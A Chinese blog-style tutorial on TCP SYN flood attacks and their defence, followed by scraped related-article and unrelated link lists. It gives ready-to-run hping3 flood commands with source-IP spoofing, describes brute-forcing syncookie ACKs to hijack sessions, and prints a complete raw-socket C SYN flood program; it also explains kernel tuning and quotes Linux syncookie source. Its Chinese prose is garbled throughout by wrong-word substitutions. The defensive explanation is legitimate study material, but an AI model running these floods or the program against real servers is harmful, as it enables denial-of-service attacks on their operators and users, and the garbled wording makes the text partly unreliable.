扯谈网络编程之Tcp SYN flood洪水攻击
简单介绍
TCP协议要经过三次握手才干建立连接:
(from wiki)
于是出现了对于握手过程进行的攻击。攻击者发送大量的SYN包,server回应(SYN+ACK)包,可是攻击者不回应ACK包,这种话,server不知道(SYN+ACK)是否发送成功,默认情况下会重试5次(tcp_syn_retries)。这种话。对于server的内存。带宽都有非常大的消耗。攻击者假设处于公网。能够伪造IP的话,对于server就非常难依据IP来推断攻击者,给防护带来非常大的困难。
攻与防
攻击者角度
从攻击者的角度来看,有两个地方能够提高server防御的难度的:
- 变换port
- 伪造IP
变换port非常easy做到,攻击者能够使用随意port。
攻击者假设是仅仅有内网IP,是没办法伪造IP的,由于伪造的SYN包会被路由抛弃。攻击者假设是有公网IP,则有可能伪造IP。发出SYN包。(TODO,待很多其它验证)
hping3
hping3是一个非常有名的网络安全工具,使用它能够非常easy构造各种协议包。
用以下的命令能够非常easy就发起SYN攻击:
sudo hping3 --flood -S -p 9999 x.x.x.x
#random source address
sudo hping3 --flood -S --rand-source -p 9999 x.x.x.x
--flood 是不间断发包的意思
-S 是SYN包的意思
很多其它的选项,能够man hping3 查看文档。有具体的说明。
假设是条件同意。能够伪造IP地址的话,能够用--rand-source參数来伪造。
我在实际測试的过程中,能够伪造IP,也能够发送出去。可是server没有回应,从本地路由器的统计数据能够看出是路由器把包给丢弃掉了。
我用两个美国的主机来測试,使用
sudo hping3 --flood -S -p 9999 x.x.x.x
发现,实际上攻击效果有限,仅仅有网络使用上涨了,server的cpu,内存使用都没有什么变化:
为什么会这样呢?以下再解析。
防御者角度
当可能遇到SYN flood攻击时,syslog,/var/log/syslog里可能会出现以下的日志:
kernel: [3649830.269068] TCP: Possible SYN flooding on port 9999. Sending cookies. Check SNMP counters.
这个也有可能是SNMP协议误报。以下再解析。
从防御者的角度来看,主要有下面的措施:
- 内核參数的调优
- 防火墙禁止掉部分IP
linux内核參数调优主要有以下三个:
- 增大tcp_max_syn_backlog
- 减小tcp_synack_retries
- 启用tcp_syncookies
tcp_max_syn_backlog
从字面上就能够判断出是什么意思。
在内核里有个队列用来存放还没有确认ACK的client请求。当等待的请求数大于tcp_max_syn_backlog时。后面的会被丢弃。
所以,适当增大这个值,能够在压力大的时候提高握手的成功率。
手冊里推荐大于1024。
tcp_synack_retries
这个是三次握手中,server回应ACK给client里,重试的次数。
默认是5。
显然攻击者是不会完毕整个三次握手的。因此server在发出的ACK包在没有回应的情况下。会重试发送。当发送者是伪造IP时。server的ACK回应自然是无效的。
为了防止server做这样的无用功,能够把tcp_synack_retries设置为0或者1。由于对于正常的client。假设它接收不到server回应的ACK包,它会再次发送SYN包,client还是能正常连接的。仅仅是可能在某些情况下建立连接的速度变慢了一点。
tcp_syncookies
依据man tcp手冊,tcp_syncookies是这样解析的:
tcp_syncookies (Boolean; since Linux 2.2)
Enable TCP syncookies. The kernel must be compiled with CONFIG_SYN_COOKIES. Send out syncookies when the
syn backlog queue of a socket overflows. The syncookies feature attempts to protect a socket from a SYN
flood attack. This should be used as a last resort, if at all. This is a violation of the TCP protocol,
and conflicts with other areas of TCP such as TCP extensions. It can cause problems for clients and relays.
It is not recommended as a tuning mechanism for heavily loaded servers to help with overloaded or misconfig‐
ured conditions. For recommended alternatives see tcp_max_syn_backlog, tcp_synack_retries, and
tcp_abort_on_overflow.
当半连接的请求数量超过了tcp_max_syn_backlog时。内核就会启用SYN cookie机制,不再把半连接请求放到队列里。而是用SYN cookie来检验。
手冊上仅仅给出了模糊的说明。详细的实现没有提到。
linux下SYN cookie的实现
查看了linux的代码(https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c )后。发现linux的实现并非像wiki上
SYN cookie是很巧妙地利用了TCP规范来绕过了TCP连接建立过程的验证过程,从而让server的负载能够大大减少。
在三次握手中,当server回应(SYN + ACK)包后,client要回应一个n + 1的ACK到server。当中n是server自己指定的。
当启用tcp_syncookies时,linux内核生成一个特定的n值,而不并把客户的连接放到半连接的队列里(即没有存储不论什么关于这个连接的信息)。当client提交第三次握手的ACK包时,linux内核取出n值,进行校验。假设通过,则觉得这个是一个合法的连接。
n即ISN(initial sequence number)。是一个无符号的32位整数。那么linux内核是怎样把信息记录到这有限的32位里,并完毕校验的?
首先,TCP连接建立时,两方要协商好MSS(Maximum segment size),server要把client在ACK包里发过来的MSS值记录下来。
另外,由于server没有记录ACK包的不论什么信息,实际上是绕过了正常的TCP握手的过程。server仅仅能靠client的第三次握手发过来的ACK包来验证。所以必需要有一个可靠的校验算法,防止攻击者伪造ACK,劫持会话。
linux是这样实现的:
1. 在server上有一个60秒的计时器。即每隔60秒。count加一;
2. MSS是这样子保存起来的,用一个硬编码的数组。保存起一些MSS值:
static __u16 const msstab[] = {
536,
1300,
1440, /* 1440, 1452: PPPoE */
1460,
};
比較客户发过来的mms。取一个比客户发过来的值还要小的mms。算法非常easy:
/*
* Generate a syncookie. mssp points to the mss, which is returned
* rounded down to the value encoded in the cookie.
*/
u32 __cookie_v4_init_sequence(const struct iphdr *iph, const struct tcphdr *th,
u16 *mssp)
{
int mssind;
const __u16 mss = *mssp; for (mssind = ARRAY_SIZE(msstab) - 1; mssind ; mssind--)
if (mss >= msstab[mssind])
break;
*mssp = msstab[mssind]; return secure_tcp_syn_cookie(iph->saddr, iph->daddr,
th->source, th->dest, ntohl(th->seq),
mssind);
}
比較客户发过来的mms。取一个比客户发过来的值还要小的mms。
真正的算法在这个函数里:
static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
__be16 dport, __u32 sseq, __u32 data)
{
/*
* Compute the secure sequence number.
* The output should be:
* HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24)
* + (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24).
* Where sseq is their sequence number and count increases every
* minute by 1.
* As an extra hack, we add a small "data" value that encodes the
* MSS into the second hash value.
*/
u32 count = tcp_cookie_time();
return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +
sseq + (count << COOKIEBITS) +
((cookie_hash(saddr, daddr, sport, dport, count, 1) + data)
& COOKIEMASK));
}
data实际上是mss的值相应的数组下标,count是每一分钟会加1,sseq是client发过来的sequence。
这样经过hash和一些加法,得到了一个ISN值,当中里记录了这个连接合适的MSS值。
当接收到client发过来的第三次握手的ACK包时,反向检查就可以:
/*
* Check if a ack sequence number is a valid syncookie.
* Return the decoded mss if it is, or 0 if not.
*/
int __cookie_v4_check(const struct iphdr *iph, const struct tcphdr *th,
u32 cookie)
{
__u32 seq = ntohl(th->seq) - 1;
__u32 mssind = check_tcp_syn_cookie(cookie, iph->saddr, iph->daddr,
th->source, th->dest, seq); return mssind < ARRAY_SIZE(msstab) ? msstab[mssind] : 0;
}
先得到原来的seq,再调用check_tcp_syn_cookie函数:
/*
* This retrieves the small "data" value from the syncookie.
* If the syncookie is bad, the data returned will be out of
* range. This must be checked by the caller.
*
* The count value used to generate the cookie must be less than
* MAX_SYNCOOKIE_AGE minutes in the past.
* The return value (__u32)-1 if this test fails.
*/
static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
__be16 sport, __be16 dport, __u32 sseq)
{
u32 diff, count = tcp_cookie_time(); /* Strip away the layers from the cookie */
cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) + sseq; /* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */
diff = (count - (cookie >> COOKIEBITS)) & ((__u32) -1 >> COOKIEBITS);
if (diff >= MAX_SYNCOOKIE_AGE)
return (__u32)-1; return (cookie -
cookie_hash(saddr, daddr, sport, dport, count - diff, 1))
& COOKIEMASK; /* Leaving the data behind */
}
先减去之前的一些值,第一个hash和sseq。
然后计算如今的count(每60秒加1的计数器)和之前的发给client,然后client返回过来的count的差:
假设大于MAX_SYNCOOKIE_AGE,即2。即2分钟。则说明已经超时了。
否则。计算得出之前放进去的mss。这样内核就觉得这个是一个合法的TCP连接。而且得到了一个合适的mss值,这样就建立起了一个合法的TCP连接。
能够看到SYN cookie机制十分巧妙地不用不论什么存储,以略消耗CPU实现了对第三次握手的校验。
可是有得必有失。ISN里仅仅存储了MSS值,因此。其他的TCP Option都不会生效,这就是为什么SNMP协议会误报的原因了。
更强大的攻击者
SYN cookie尽管十分巧妙,可是也给攻击者带了新的攻击思路。
由于SYN cookie机制不是正常的TCP三次握手。因此攻击者能够构造一个第三次握手的ACK包,从而劫持会话。
攻击者的思路非常easy。通过暴力发送大量的伪造的第三次握手的ACK包,由于ISN仅仅有32位,攻击者仅仅要发送所有的ISN数据ACK包。总会有一个能够通过server端的校验。
有的人就会问了。即使攻击者成功通过了server的检验,它还是没有办法和server正常通讯啊。由于server回应的包都不会发给攻击者。
刚開始时,我也有这个疑问。可是TCP同意在第三次握手的ACK包里带上后面请求的数据,这样能够加快数据的传输。所以,比方一个httpserver,攻击者能够通过在第三次握手的ACK包里带上http get/post请求。从而完毕攻击。
所以对于server而言。不能仅仅是依靠IP来校验合法的请求,还要通过其他的一些方法来加强校验。比方CSRF等。
值得提醒的是即使是正常的TCP三次握手过程,攻击者还是能够进行会话劫持的,仅仅是概率比SYN cookie的情况下要小非常多。
具体的攻击说明:http://www.91ri.org/7075.html
一个用raw socket SYN flood攻击的代码
以下给出一个tcp syn flood的攻击的代码:
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <stdlib.h>
#include <errno.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h> #pragma pack(1)
struct pseudo_header //needed for checksum calculation
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length; struct tcphdr tcp;
};
#pragma pack() unsigned short csum(unsigned short *ptr, int nbytes) {
long sum;
unsigned short oddbyte;
short answer; sum = 0;
while (nbytes > 1) {
sum += *ptr++;
nbytes -= 2;
}
if (nbytes == 1) {
oddbyte = 0;
*((u_char*) &oddbyte) = *(u_char*) ptr;
sum += oddbyte;
} sum = (sum >> 16) + (sum & 0xffff);
sum = sum + (sum >> 16);
answer = (short) ~sum; return (answer);
} void oneSyn(int socketfd, in_addr_t source, u_int16_t sourcePort,
in_addr_t destination, u_int16_t destinationPort) {
static char sendBuf[sizeof(iphdr) + sizeof(tcphdr)] = { 0 };
bzero(sendBuf, sizeof(sendBuf)); struct iphdr* ipHeader = (iphdr*) sendBuf;
struct tcphdr *tcph = (tcphdr*) (sendBuf + sizeof(iphdr)); ipHeader->version = 4;
ipHeader->ihl = 5; ipHeader->tos = 0;
ipHeader->tot_len = htons(sizeof(sendBuf)); ipHeader->id = htons(1);
ipHeader->frag_off = 0;
ipHeader->ttl = 254;
ipHeader->protocol = IPPROTO_TCP;
ipHeader->check = 0;
ipHeader->saddr = source;
ipHeader->daddr = destination; ipHeader->check = csum((unsigned short*) ipHeader, ipHeader->ihl * 2); //TCP Header
tcph->source = htons(sourcePort);
tcph->dest = htons(destinationPort);
tcph->seq = 0;
tcph->ack_seq = 0;
tcph->doff = 5; //sizeof(tcphdr)/4
tcph->fin = 0;
tcph->syn = 1;
tcph->rst = 0;
tcph->psh = 0;
tcph->ack = 0;
tcph->urg = 0;
tcph->window = htons(512);
tcph->check = 0;
tcph->urg_ptr = 0; //tcp header checksum
struct pseudo_header pseudoHeader;
pseudoHeader.source_address = source;
pseudoHeader.dest_address = destination;
pseudoHeader.placeholder = 0;
pseudoHeader.protocol = IPPROTO_TCP;
pseudoHeader.tcp_length = htons(sizeof(tcphdr));
memcpy(&pseudoHeader.tcp, tcph, sizeof(struct tcphdr)); tcph->check = csum((unsigned short*) &pseudoHeader, sizeof(pseudo_header)); struct sockaddr_in sin;
sin.sin_family = AF_INET;
sin.sin_port = htons(sourcePort);
sin.sin_addr.s_addr = destination; ssize_t sentLen = sendto(socketfd, sendBuf, sizeof(sendBuf), 0,
(struct sockaddr *) &sin, sizeof(sin));
if (sentLen == -1) {
perror("sent error");
}
} int main(void) {
//for setsockopt
int optval = 1; //create a raw socket
int socketfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
if (socketfd == -1) {
perror("create socket:");
exit(0);
}
if (setsockopt(socketfd, IPPROTO_IP, IP_HDRINCL, &optval, sizeof(optval))
< 0) {
perror("create socket:");
exit(0);
} in_addr_t source = inet_addr("192.168.1.100");
in_addr_t destination = inet_addr("192.168.1.101");
u_int16_t sourcePort = 1;
u_int16_t destinationPort = 9999;
while (1) {
oneSyn(socketfd, source, sourcePort++, destination,
destinationPort);
sourcePort %= 65535;
sleep(1);
} return 0;
}
总结:
对于SYN flood攻击,调整以下三个參数就能够防范绝大部分的攻击了。
- 增大tcp_max_syn_backlog
- 减小tcp_synack_retries
- 启用tcp_syncookies
貌似如今的内核默认都是开启tcp_syncookies的。
參考:
http://www.redhat.com/archives/rhl-devel-list/2005-January/msg00447.html
man tcp
http://nixcraft.com/showthread.php/16864-Linux-Howto-test-and-stop-syn-flood-attacks
http://en.wikipedia.org/wiki/SYN_cookies
https://github.com/torvalds/linux/blob/master/net/ipv4/syncookies.c
http://www.91ri.org/7075.html
扯谈网络编程之Tcp SYN flood洪水攻击的更多相关文章
- TCP SYN flood洪水攻击原理和防御破解
简介 TCP协议要经过三次握手才能建立连接: 于是出现了对于握手过程进行的攻击.攻击者发送大量的SYN包,服务器回应(SYN+ACK)包,但是攻击者不回应ACK包,这样的话,服务器不知道(SYN+AC ...
- java网络编程之TCP通讯
java中的网络编程之TCP协议的详细介绍,以及如何使用,同时我在下面举2例说明如何搭配IO流进行操作, /* *TCP *建立连接,形成传输数据的通道: *在连接中进行大数据量传输: *通过三次握手 ...
- 网络编程之TCP编程
网络编程之TCP编程 前面已经介绍过关于TCP协议的东西,这里不做赘述.Java对于基于TCP协议的网络通信提供了良好的封装,Java使用socket对象来代表两端的通信窗口,并通过Socket产生I ...
- Java网络编程之TCP、UDP
Java网络编程之TCP.UDP 2014-11-25 15:23 513人阅读 评论(0) 收藏 举报 分类: java基础及多线程(28) 版权声明:本文为博主原创文章,未经博主允许不得转载. ...
- 网络编程之TCP/IP各层详解
网络编程之TCP/IP各层详解 我们将应用层,表示层,会话层并作应用层,从TCP/IP五层协议的角度来阐述每层的由来与功能,搞清楚了每层的主要协议,就理解了整个物联网通信的原理. 首先,用户感知到的只 ...
- Python网络编程之TCP套接字简单用法示例
Python网络编程之TCP套接字简单用法示例 本文实例讲述了Python网络编程之TCP套接字简单用法.分享给大家供大家参考,具体如下: 上学期学的计算机网络,因为之前还未学习python,而jav ...
- Java网络编程之TCP
Java网络编程之TCP TCP主要需要两个类:Socket和ServerSocket,Socket是客户端连接服务器时创建,参数需要指定服务器的ip和端口,ServerSocket是服务器端创建 ...
- 网络编程之tcp协议以及粘包问题
网络编程tcp协议与socket以及单例的补充 一.单例补充 实现单列的几种方式 #方式一:classmethod # class Singleton: # # __instance = None # ...
- 应聘复习基础笔记1:网络编程之TCP与UDP的优缺点,TCP三次握手、四次挥手、传输窗口控制、存在问题
重要性:必考 一.TCP与UDP的优缺点 ①TCP---传输控制协议,提供的是面向连接.可靠的字节流服务.当客户和服务器彼此交换数据前,必须先在双方之间建立一个TCP连接,之后才能传输数据.TCP提供 ...
随机推荐
- 在eclipse中将项目发布到tomcat的root目录
(1)设置项目上下文,右击项目-properties >Web Page Edit
- easyui源码翻译1.32--Tree(树)
前言 使用$.fn.tree.defaults重写默认值对象.下载该插件翻译源码 树控件在web页面中一个将分层数据以树形结构进行显示.它提供用户展开.折叠.拖拽.编辑和异步加载等功能. 源码 /** ...
- 程序模拟浏览器请求及会话保持-python实现
http://www.cnblogs.com/zxlovenet/p/4006649.html
- 浅析Android的窗口
一.窗口的概念 在开发过程中,我们经常会遇到,各种跟窗口相关的类,或者方法.但是,在 Android 的框架设计中,到底什么是窗口?窗口跟 Android Framework 中的 Window 类又 ...
- 添加service到SystemService硬件服务
添加service到SystemService: 添加硬件服务. 创建时间:2015年3月9日(星期一) 晚上11:07 | 分类:硬件驱动Android | 天气: 修改时间:2015年3月10日( ...
- 存储过程系列之调试存储过程 SQL Server 2005
在数据库中直接调试 在数据库中直接调试是调试SQL Server 2005的存储过程的最简单的方法. 在Visual Stuido的IDE中你可以选择单步执行存储过程,然后就可以一条语句一条语句地单 ...
- 【HDOJ】4455 Substrings
5000ms的时限,还挺长的.算法是DP.思路是找到ans[1..n]的结果,然后Query就容易做了.问题是怎么DP?考虑:1 1 2 3 4 4 5w=1: 7, 7 = 1 * 7w=2: 10 ...
- Eclipse使用技巧及个性化设计
以下除特殊说明均在 Windows->Preferences里面操作 如何把Eclipse关闭提示调出来? General->Startup and Shutdown,在 Confirm ...
- Linux Kernel 整数溢出漏洞
漏洞名称: Linux Kernel 整数溢出漏洞 CNNVD编号: CNNVD-201311-062 发布时间: 2013-11-07 更新时间: 2013-11-07 危害等级: 漏洞类型: ...
- [NYOJ 37] 回文字符串
回文字符串 时间限制:3000 ms | 内存限制:65535 KB 难度:4 描述 所谓回文字符串,就是一个字符串,从左到右读和从右到左读是完全一样的,比如"aba".当 ...